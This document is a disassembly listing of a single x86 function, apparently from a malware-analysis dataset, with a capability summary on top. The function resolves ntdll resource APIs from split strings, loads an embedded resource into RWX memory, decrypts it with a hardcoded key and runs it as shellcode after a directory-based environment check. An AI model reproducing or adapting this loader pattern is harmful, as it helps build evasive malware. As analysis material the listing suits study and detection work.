Function at 0x402250
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e84d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c8
mov eax, dword [0x467b08]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x15c], 0x1e55
mov dword [ebp - 0x60], 0x1155
mov dword [ebp - 0x5c], 0x409
mov dword [ebp - 0x164], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0x58], 0xa
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0xa0], 0
push str.LdrFin
lea ecx, [ebp - 0x2c]
call fcn.00402b90
mov dword [ebp - 4], 0
push str.dReso
lea ecx, [ebp - 0x9c]
call fcn.00402b90
mov byte [ebp - 4], 1
push str.urce_U
lea ecx, [ebp - 0xe8]
call fcn.00402b90
mov byte [ebp - 4], 2
lea edx, [ebp - 0xe8]
push edx
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x180]
push edx
call fcn.00404090
add esp, 0xc
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c8], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x1c8]
push ecx
lea edx, [ebp - 0x158]
push edx
call fcn.00404090
add esp, 0xc
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x180]
call fcn.00402bd0
push 0x452af4
lea ecx, [ebp - 0x7c]
call fcn.00402b90
mov byte [ebp - 4], 6
push str.Acces
lea ecx, [ebp - 0xc0]
call fcn.00402b90
mov byte [ebp - 4], 7
push str.sResource
lea ecx, [ebp - 0x4c]
call fcn.00402b90
mov byte [ebp - 4], 8
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xc0]
push ecx
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x19c]
push eax
call fcn.00404090
add esp, 0xc
mov dword [ebp - 0x1cc], eax
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x1d0], ecx
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x1d0]
push edx
lea eax, [ebp - 0x134]
push eax
call fcn.00404090
add esp, 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x19c]
call fcn.00402bd0
mov dword [ebp - 0x13c], 0x452b0c
lea ecx, [ebp - 0x158]
call fcn.00402bf0
mov dword [ebp - 0xcc], eax
lea ecx, [ebp - 0x134]
call fcn.00402bf0
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xa0], eax
push str.LdrFindResource_U
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x469198], eax
push str.LdrAccessResource
mov eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x469194], eax
lea ecx, [ebp - 0xec]
push ecx
push 3
lea edx, [ebp - 0x58]
push edx
push 0x400000
call dword [0x469198]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jl 0x4024ae
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0xec]
push edx
push 0x400000
call dword [0x469194]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x138], 0
push 0
push 0x452b40
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4024e5
push 0x40
push 0x1000
mov eax, dword [ebp - 0xc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0xc4]
push ecx
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [ebp - 0x138]
push eax
call fcn.004360a0
add esp, 0xc
lea ecx, [ebp - 0x80]
push ecx
push 0x35
push str.9_s0RyiTN4_nW5wJkRt_BG2_vg__ZEBrHSj_j4iIxTS_QL4__
call fcn.00401f20
add esp, 0xc
lea edx, [ebp - 0x80]
push edx
mov eax, dword [ebp - 0xc4]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.00401ff0
add esp, 0xc
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x30], edx
push 0
push str.C:Users_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4025d4
mov dword [ebp - 0x1a0], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x134]
call fcn.00402bd0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x4c]
call fcn.00402bd0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xc0]
call fcn.00402bd0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x7c]
call fcn.00402bd0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x158]
call fcn.00402bd0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe8]
call fcn.00402bd0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x9c]
call fcn.00402bd0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00402bd0
mov eax, dword [ebp - 0x1a0]
jmp 0x4029c8
call dword [ebp - 0x30]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x1a4], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x134]
call fcn.00402bd0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x4c]
call fcn.00402bd0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xc0]
call fcn.00402bd0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x7c]
call fcn.00402bd0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x158]
call fcn.00402bd0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe8]
call fcn.00402bd0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x9c]
call fcn.00402bd0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.00402bd0
mov eax, dword [ebp - 0x1a4]
jmp 0x4029c8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00435b36
mov esp, ebp
pop ebp
ret